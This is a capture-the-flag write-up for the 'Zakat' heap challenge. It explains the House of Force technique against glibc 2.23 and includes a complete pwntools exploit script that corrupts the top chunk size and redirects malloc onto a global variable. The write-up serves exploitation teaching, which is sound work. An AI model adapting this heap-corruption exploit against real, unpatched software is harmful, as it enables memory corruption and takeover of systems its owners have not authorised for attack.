Post

Ramadan CTF 2026 - Zakat

Ramadan CTF 2026 - Zakat

[ Zakat ] Writeup

Category: Pwn (Heap - House of Force)
Difficulty: Medium-Hard
Author: 4n7h4r4x

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • ghidra / gdb for reverse engineering
  • readelf for section addresses
  • python3 (pwntools) for exploit scripting

Overview

Zakat is a House of Force heap exploitation challenge using glibc 2.23. The binary leaks both a heap address and a PIE code address, has a heap buffer overflow into the top chunk, and accepts arbitrary malloc sizes. Our goal: overwrite the global zakat variable to 0xDEADBEEF to trigger the win condition.


Initial Recon

Running file and checksec:

file and checksec

The binary uses glibc 2.23 (Ubuntu 16.04) – this is important because House of Force was patched in glibc 2.29.


Reverse Engineering

The donate() function is where everything happens:

ghidra gh

Key observations:

  1. Leak 1 (heap): printf("Donation name id : %p\n", name) – prints the heap pointer.
  2. Leak 2 (PIE): printf("Donating room id ! %p\n", donate) – prints a code address.
  3. Heap overflow: read(0, name, 0x50) reads 80 bytes into a 24-byte malloc buffer – 56 bytes of overflow that reaches the top chunk size field.
  4. Arbitrary malloc size: scanf("%lu", &size) accepts any unsigned long value.
  5. Win condition: If zakat == 0xDEADBEEF, print the flag.
  6. Allocation limit: Only 2 allocations allowed.

What is House of Force?

House of Force targets the top chunk (the wilderness) in glibc’s heap. When no free bin chunk satisfies a request, malloc carves memory from the top chunk:

1
2
new_top = top_chunk + requested_size_aligned
return  = top_chunk + 0x10   (user data pointer)

If we corrupt the top chunk’s size to a huge value, malloc thinks it has unlimited memory. We can then request a carefully computed size that wraps the top chunk pointer around the 64-bit address space to land just before our target variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| Section |        
|---------|
| .text   |
| .data   |
| .bss    |
| heap    | X <- next malloc will check top chunk size , by setting top chunk to a huge value we can wrap around
| stack   |

next time we allocate a huge evil size , well be able to wrap around , and the next malloc will overwrite data in bss !

↓   | Section |
↓   |---------|
↓   | .text   |
↓   | .data   |
X   | .bss    |
    | heap    | ↓
    | stack   | ↓


Step 1: Corrupt the Top Chunk Size

After malloc(24), the heap layout is:

1
2
3
heap_base + 0x00: chunk header (prev_size + size = 0x21)
heap_base + 0x10: name (user data, 24 bytes)
heap_base + 0x28: TOP CHUNK SIZE FIELD

Our overflow writes past the 24-byte buffer into the top chunk size at offset +0x28:

1
payload = b"A" * 24 + p64(0xFFFFFFFFFFFFEFE1)

Before : corrupt After : corrupt

Why 0xFFFFFFFFFFFFEFE1?

corrupt value

The sysmalloc assertion requires the top chunk’s end address to be page-aligned:

1
(top_addr + (size & ~7)) & 0xFFF == 0

The top chunk is at heap_base + 0x20 (offset 0x020), so:

1
(size & ~7) & 0xFFF must equal 0x1000 - 0x020 = 0xFE0

Adding the PREV_INUSE bit (bit 0): the size must end in 0xFE1. Hence 0xFFFFFFFFFFFFEFE1.

###In summary we need to respect 3 things so things works as expected !

  1. Huge size → enables wrap-around
  2. Page-aligned value
  3. PREV_INUSE flag = 1

Common mistake: Using 0xFFFFFFFFFFFFFFFF or 0xFFFFFFFFFFFFFFF1 – these fail the page alignment check and trigger an assertion abort.


Step 2: Distance Allocation

We compute the evil_size so that after malloc(evil_size), the next allocation returns a pointer to zakat:

1
evil_size = (zakat - heap - 0x30) & 0xFFFFFFFFFFFFFFFF

The & 0xFFFFFFFFFFFFFFFF handles unsigned 64-bit wraparound when the heap address is higher than BSS.

distance

Notice how it says corrupted , thats because we overwrote the top chunk to something off , but the program will continue running and uses that size !! err

The stdin Buffer Trap

After scanf reads our evil_size, a \n remains in stdin. The subsequent read() call immediately consumes it and returns. Do NOT send extra data for this allocation, or it will poison the next scanf and cause an infinite loop.


Step 3: Overwrite Zakat

The next malloc(24) returns a pointer to the zakat variable. We write 0xDEADBEEF:

1
malloc(24, p64(0xDEADBEEF))

Then trigger the win condition by selecting menu option 3.

f f2


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.binary = elf = ELF("./zakat")

#p = elf.process()
p = remote("tcp.espark.tn" , 1337)

# Parse leaks
p.recvuntil(b"name id :")
heap = int(p.recvline().strip(), 16)

p.recvuntil(b"room id !")
donate_leak = int(p.recvline().strip(), 16)

pie = donate_leak - elf.symbols["donate"]
zakat = pie + elf.symbols["zakat"]

log.info(f"heap  = {hex(heap)}")
log.info(f"pie   = {hex(pie)}")
log.info(f"zakat = {hex(zakat)}")

def malloc(size, value):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"zakat box:")
    p.sendline(str(size).encode())
    p.recvuntil(b"donor message:")
    p.send(value)

# Step 1: Corrupt top chunk size
p.recvuntil(b"What's your name?")
pay1 = b"A" * 24 + p64(0xFFFFFFFFFFFFEFE1)
p.send(pay1)

# Step 2: Distance allocation (wraps around to zakat)
evil_size = (zakat - heap - 0x30) & 0xFFFFFFFFFFFFFFFF
log.info(f"evil  = {evil_size} ({hex(evil_size)})")

p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"zakat box:")
p.sendline(str(evil_size).encode())
# DON'T send data -- leftover \n from scanf feeds read()

# Step 3: This malloc returns zakat -- write the target value
malloc(24, p64(0xDEADBEEF))

# Step 4: Trigger win
p.recvuntil(b"> ")
p.sendline(b"3")

p.interactive()

flag


Key Takeaways

  • House of Force corrupts the top chunk size to make malloc return arbitrary addresses. It’s a classic technique for glibc <= 2.28.
  • Page alignment matters. The fake top chunk size must satisfy sysmalloc’s assertion: top chunk end must be page-aligned. Getting this wrong by one bit = instant abort.
  • stdin buffering between scanf and read is a real pitfall. Always be mindful of leftover newlines.
  • The math is everything. Off by 0x10 in the distance calculation means you miss your target completely.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.